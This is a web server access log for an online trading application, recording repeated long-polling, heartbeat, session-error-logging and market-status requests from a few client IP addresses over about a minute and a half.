[09/Jan/2026:12:21:07 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932736051 HTTP/1.1" -
[09/Jan/2026:12:21:09 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:21:09 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:21:10 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932738970 HTTP/1.1" -
[09/Jan/2026:12:21:11 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932738473 HTTP/1.1" -
[09/Jan/2026:12:21:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932741250 HTTP/1.1" -
[09/Jan/2026:12:21:12 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932741268 HTTP/1.1" -
[09/Jan/2026:12:21:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932744097 HTTP/1.1" -
[09/Jan/2026:12:21:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:21:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:21:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:21:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:21:16 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932743540 HTTP/1.1" -
[09/Jan/2026:12:21:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932746295 HTTP/1.1" -
[09/Jan/2026:12:21:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:21:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:21:17 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932746476 HTTP/1.1" -
[09/Jan/2026:12:21:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:21:17 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:21:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:21:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:21:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:21:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:21:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932749252 HTTP/1.1" -
[09/Jan/2026:12:21:21 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932748587 HTTP/1.1" -
[09/Jan/2026:12:21:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932751337 HTTP/1.1" -
[09/Jan/2026:12:21:22 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932751725 HTTP/1.1" -
[09/Jan/2026:12:21:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932754313 HTTP/1.1" -
[09/Jan/2026:12:21:26 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932753617 HTTP/1.1" -
[09/Jan/2026:12:21:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:21:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:21:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932756370 HTTP/1.1" -
[09/Jan/2026:12:21:28 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932756949 HTTP/1.1" -
[09/Jan/2026:12:21:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932759369 HTTP/1.1" -
[09/Jan/2026:12:21:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932761393 HTTP/1.1" -
[09/Jan/2026:12:21:32 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932759480 HTTP/1.1" -
[09/Jan/2026:12:21:33 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932762079 HTTP/1.1" -
[09/Jan/2026:12:21:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932764517 HTTP/1.1" -
[09/Jan/2026:12:21:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932766446 HTTP/1.1" -
[09/Jan/2026:12:21:37 +0800] 116.48.142.110 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56231?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932764531 HTTP/1.1" -
[09/Jan/2026:12:21:38 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932767238 HTTP/1.1" -
[09/Jan/2026:12:21:39 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:21:39 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:21:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932769644 HTTP/1.1" -
[09/Jan/2026:12:21:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932771491 HTTP/1.1" -
[09/Jan/2026:12:21:43 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932772452 HTTP/1.1" -
[09/Jan/2026:12:21:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:21:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:21:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:21:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:21:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932774790 HTTP/1.1" -
[09/Jan/2026:12:21:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932776532 HTTP/1.1" -
[09/Jan/2026:12:21:48 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932777742 HTTP/1.1" -
[09/Jan/2026:12:21:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:21:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:21:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:21:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:21:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932779834 HTTP/1.1" -
[09/Jan/2026:12:21:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932781565 HTTP/1.1" -
[09/Jan/2026:12:21:54 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932782951 HTTP/1.1" -
[09/Jan/2026:12:21:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932784974 HTTP/1.1" -
[09/Jan/2026:12:21:56 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:21:56 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:21:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932786590 HTTP/1.1" -
[09/Jan/2026:12:21:59 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932788212 HTTP/1.1" -
[09/Jan/2026:12:22:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932790167 HTTP/1.1" -
[09/Jan/2026:12:22:02 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932791612 HTTP/1.1" -
[09/Jan/2026:12:22:04 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932793396 HTTP/1.1" -
[09/Jan/2026:12:22:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932795322 HTTP/1.1" -
[09/Jan/2026:12:22:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932796635 HTTP/1.1" -
[09/Jan/2026:12:22:09 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932798608 HTTP/1.1" -
[09/Jan/2026:12:22:09 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:22:09 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:22:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932800465 HTTP/1.1" -
[09/Jan/2026:12:22:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932801696 HTTP/1.1" -
[09/Jan/2026:12:22:15 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932803933 HTTP/1.1" -
[09/Jan/2026:12:22:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:22:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:22:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:22:15 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:22:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932805631 HTTP/1.1" -
[09/Jan/2026:12:22:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932806738 HTTP/1.1" -
[09/Jan/2026:12:22:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:22:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:22:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:22:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:22:20 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932809183 HTTP/1.1" -
[09/Jan/2026:12:22:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932810764 HTTP/1.1" -
[09/Jan/2026:12:22:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932811769 HTTP/1.1" -
[09/Jan/2026:12:22:25 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932814305 HTTP/1.1" -
[09/Jan/2026:12:22:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:22:26 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:22:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932815848 HTTP/1.1" -
[09/Jan/2026:12:22:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932816787 HTTP/1.1" -
[09/Jan/2026:12:22:30 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767932819571 HTTP/1.1" -
